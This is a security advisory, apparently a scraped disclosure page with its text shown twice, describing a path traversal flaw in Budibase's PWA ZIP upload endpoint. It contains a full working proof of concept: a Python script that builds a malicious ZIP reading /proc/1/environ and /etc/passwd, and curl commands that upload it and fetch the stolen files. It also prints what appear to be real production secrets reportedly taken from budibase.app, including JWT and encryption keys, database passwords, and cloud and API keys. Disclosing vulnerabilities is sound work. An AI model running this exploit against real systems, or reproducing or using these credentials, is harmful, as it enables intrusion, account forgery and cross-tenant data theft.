Summary
A path traversal vulnerability in the PWA (Progressive Web App) ZIP processing endpoint (POST /api/pwa/process-zip) allows an authenticated user with builder privileges to read arbitrary files from the server filesystem, including /proc/1/environ which contains all environment variables — JWT secrets, database credentials, encryption keys, and API tokens. The server reads attacker-specified files via unsanitized path.join() with user-controlled input from icons.json inside the uploaded ZIP, then uploads the file contents to the object store (MinIO/S3) where they can be retrieved through signed URLs. This results in complete platform compromise as all cryptographic secrets and service credentials are exfiltrated in a single request.
Details
The vulnerable code is in packages/server/src/api/controllers/static/index.ts, function processPWAZip (lines 181–256).
When a ZIP file is uploaded to POST /api/pwa/process-zip, the server:
- Extracts the ZIP to a temporary directory (
/tmp/pwa-{timestamp}/)
- Reads
icons.json from the extracted contents
- For each icon entry, uses
path.join(baseDir, icon.src) to resolve the file path (line 232)
- Uploads the resolved file to the object store (MinIO or S3)
The icon.src field comes directly from the user-controlled icons.json inside the ZIP. No validation is performed to ensure the resolved path stays within the temporary extraction directory. Node.js path.join() resolves ../ sequences, so:
path.join("/tmp/pwa-123", "../../../../proc/1/environ")
→ "/proc/1/environ"
The file existence check on line 219 (fs.existsSync(join(baseDir, icon.src))) also uses the traversed path, which succeeds for readable files. The server then uploads the file contents to the object store under an innocuous-looking key ({appId}/pwa/{uuid}.png), and the attacker retrieves it through the manifest endpoint (GET /api/apps/{appId}/manifest.json) which returns signed URLs.
Incriminated source code:
// packages/server/src/api/controllers/static/index.ts
// Line 215: baseDir is the temp extraction directory
const baseDir = path.dirname(iconsJsonPath)
// Line 218-221: icon.src from user-controlled icons.json — NO PATH VALIDATION
for (const icon of iconsData.icons) {
if (!icon.src || !icon.sizes || !fs.existsSync(join(baseDir, icon.src))) {
continue
}
// ...
// Line 229-234: Reads the traversed file and uploads to object store
const result = await objectStore.upload({
bucket: ObjectStoreBuckets.APPS,
filename: key,
path: join(baseDir, icon.src), // ← PATH TRAVERSAL SINK
type: mimeType,
})
PoC
Prerequisites: Authenticated Budibase account with builder or admin role, one workspace application.
Step 1: Create malicious ZIP
#!/usr/bin/env python3
import zipfile, json, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr("icons.json", json.dumps({
"icons": [
{"src": "../../../../proc/1/environ", "sizes": "192x192", "type": "image/png"},
{"src": "../../../../etc/passwd", "sizes": "512x512", "type": "image/png"}
]
}))
with open("traversal.zip", "wb") as f:
f.write(buf.getvalue())
Step 2: Authenticate and upload
# Login (replace credentials and URL)
curl -c cookies.txt -X POST http://TARGET/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"password"}'
# Get CSRF token
CSRF=$(curl -b cookies.txt http://TARGET/api/global/self \
| python3 -c "import sys,json; print(json.load(sys.stdin)['csrfToken'])")
# Upload malicious ZIP — server reads /proc/1/environ and uploads to object store
curl -b cookies.txt \
-H "x-budibase-app-id: APP_DEV_ID" \
-H "x-csrf-token: $CSRF" \
-F "[email protected]" \
http://TARGET/api/pwa/process-zip
# Returns: {"icons":[{"src":"app_.../pwa/{uuid}.png","sizes":"192x192",...}]}
Step 3: Set icons and publish app
# Set returned S3 keys as PWA icons
curl -b cookies.txt \
-H "x-budibase-app-id: APP_DEV_ID" \
-H "x-csrf-token: $CSRF" \
-H "Content-Type: application/json" \
-X PUT http://TARGET/api/applications/APP_DEV_ID \
-d '{"pwa":{"enabled":true,"icons":[{"src":"RETURNED_S3_KEY","sizes":"192x192","type":"image/png"}]}}'
# Publish
curl -b cookies.txt \
-H "x-budibase-app-id: APP_DEV_ID" \
-H "x-csrf-token: $CSRF" \
-X POST http://TARGET/api/applications/APP_DEV_ID/publish
Step 4: Retrieve secrets from manifest
# Get manifest — icons have signed URLs pointing to exfiltrated file content
curl -b cookies.txt http://TARGET/api/apps/APP_PUB_ID/manifest.json
# Returns signed URL for each icon
# Download "icon" — it's actually /proc/1/environ content
curl -b cookies.txt "http://TARGET/files/signed/prod-budi-app-assets/app_.../pwa/{uuid}.png?X-Amz-..."
Cloud Production Result (budibase.app — confirmed 2026-03-04)
Target: https://vjpyhpndf.budibase.app (v3.31.5, AWS EKS eu-west-1)
Account: Builder/Admin role on enterprise trial workspace
Same 4-step exploit chain executed against live Budibase.com cloud production. /proc/1/environ (8,966 bytes, 162 environment variables) exfiltrated via CloudFront CDN signed URL:
JWT_SECRET=A9D87zEaRSjDG3qB7qcn
INTERNAL_API_KEY=EF0B4B21-A472-4851-94E3-13EC903BACA0
API_ENCRYPTION_KEY=afjJH8qUvTYaQlTz76ic
ENCRYPTION_KEY=XU45z5ynakToJjv9nKwm6sVX2YmmzZSxxXg
COUCH_DB_URL=http://admin:1907b9d0-0836-4109-8a1f-69fe7ac93029@internal-chesterfield-prod-alb-961152818.eu-west-1.elb.amazonaws.com.:5984
MINIO_ACCESS_KEY=AKIAS6C2L5MN3CTP7BX4
MINIO_SECRET_KEY=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
OPENAI_API_KEY=sk-svcacct-WzyFsh5o...79cDyi7J75e6kA
GOOGLE_CLIENT_SECRET=ZQfYHnGUYBxpaLm1kRpdEyqg
GOOGLE_CLIENT_ID=1060236014593-m5ta155i5cv27nalcqk18uj62voqg3eb.apps.googleusercontent.com
CLOUDFRONT_PRIVATE_KEY_64=LS0tLS1CRUdJTi... (RSA private key, 1675 chars base64)
CLOUDFRONT_PUBLIC_KEY_ID=KL23NAZBW7UD1
LITELLM_MASTER_KEY=sk-rU6d1Qf4z9GcpL2vX7aYw3NbE0ShTiKm
BBAI_LITELLM_KEY=sk-lb4KVIOFS2F4-njpIDF4ww
DD_API_KEY=7dff4e713b1bc990788771172c11f466
ACCOUNT_PORTAL_API_KEY=1A3CF69A-B113-40F6-BDAF-600860261CD4
POSTHOG_PERSONAL_TOKEN=phx_IwM1MW8RTQbaeQ75fV6uBrONB7KWEJ3o2xMuuOFabn3dVzz
/etc/passwd (800 bytes) also exfiltrated — container runs Alpine Linux as root (UID 0), Node.js v22.22.0.
Cloud impact: These secrets provide access to all 2,519 tenants across the Budibase.com platform:
- S3 buckets: 249,478 apps, 23,070 backups (AWS account 202052987675)
- CouchDB: Full admin access to all tenant databases
- CloudFront: RSA private key to sign arbitrary CDN URLs
- OpenAI: Service account key for unlimited token consumption
Impact
This is a critical arbitrary file read vulnerability that results in complete platform compromise. Any authenticated user with builder privileges (the default role for invited users) can:
- Exfiltrate all environment secrets — JWT signing keys, database passwords, encryption keys, API tokens
- Forge admin authentication tokens — Using the leaked JWT_SECRET to create tokens for any user
- Access all databases directly — Using leaked CouchDB credentials for full read/write access
- Decrypt stored credentials — Using the leaked API_ENCRYPTION_KEY to decrypt all datasource passwords
- Access internal services — Using leaked Redis passwords, MinIO keys, and internal URLs
On Budibase Cloud (budibase.app), a builder on any tenant can exfiltrate platform-wide production secrets, enabling cross-tenant data access affecting all customers. This was confirmed live on production — 19 critical secrets exfiltrated including AWS IAM keys, CouchDB admin credentials, CloudFront signing keys, and OpenAI API keys.
Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed
Summary
A path traversal vulnerability in the PWA (Progressive Web App) ZIP processing endpoint (
POST /api/pwa/process-zip) allows an authenticated user with builder privileges to read arbitrary files from the server filesystem, including/proc/1/environwhich contains all environment variables — JWT secrets, database credentials, encryption keys, and API tokens. The server reads attacker-specified files via unsanitizedpath.join()with user-controlled input fromicons.jsoninside the uploaded ZIP, then uploads the file contents to the object store (MinIO/S3) where they can be retrieved through signed URLs. This results in complete platform compromise as all cryptographic secrets and service credentials are exfiltrated in a single request.Details
The vulnerable code is in
packages/server/src/api/controllers/static/index.ts, functionprocessPWAZip(lines 181–256).When a ZIP file is uploaded to
POST /api/pwa/process-zip, the server:/tmp/pwa-{timestamp}/)icons.jsonfrom the extracted contentspath.join(baseDir, icon.src)to resolve the file path (line 232)The
icon.srcfield comes directly from the user-controlledicons.jsoninside the ZIP. No validation is performed to ensure the resolved path stays within the temporary extraction directory. Node.jspath.join()resolves../sequences, so:The file existence check on line 219 (
fs.existsSync(join(baseDir, icon.src))) also uses the traversed path, which succeeds for readable files. The server then uploads the file contents to the object store under an innocuous-looking key ({appId}/pwa/{uuid}.png), and the attacker retrieves it through the manifest endpoint (GET /api/apps/{appId}/manifest.json) which returns signed URLs.Incriminated source code:
PoC
Prerequisites: Authenticated Budibase account with builder or admin role, one workspace application.
Step 1: Create malicious ZIP
Step 2: Authenticate and upload
Step 3: Set icons and publish app
Step 4: Retrieve secrets from manifest
Cloud Production Result (budibase.app — confirmed 2026-03-04)
Target:
https://vjpyhpndf.budibase.app(v3.31.5, AWS EKS eu-west-1)Account: Builder/Admin role on enterprise trial workspace
Same 4-step exploit chain executed against live Budibase.com cloud production.
/proc/1/environ(8,966 bytes, 162 environment variables) exfiltrated via CloudFront CDN signed URL:/etc/passwd(800 bytes) also exfiltrated — container runs Alpine Linux as root (UID 0), Node.js v22.22.0.Cloud impact: These secrets provide access to all 2,519 tenants across the Budibase.com platform:
Impact
This is a critical arbitrary file read vulnerability that results in complete platform compromise. Any authenticated user with builder privileges (the default role for invited users) can:
On Budibase Cloud (budibase.app), a builder on any tenant can exfiltrate platform-wide production secrets, enabling cross-tenant data access affecting all customers. This was confirmed live on production — 19 critical secrets exfiltrated including AWS IAM keys, CouchDB admin credentials, CloudFront signing keys, and OpenAI API keys.
Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed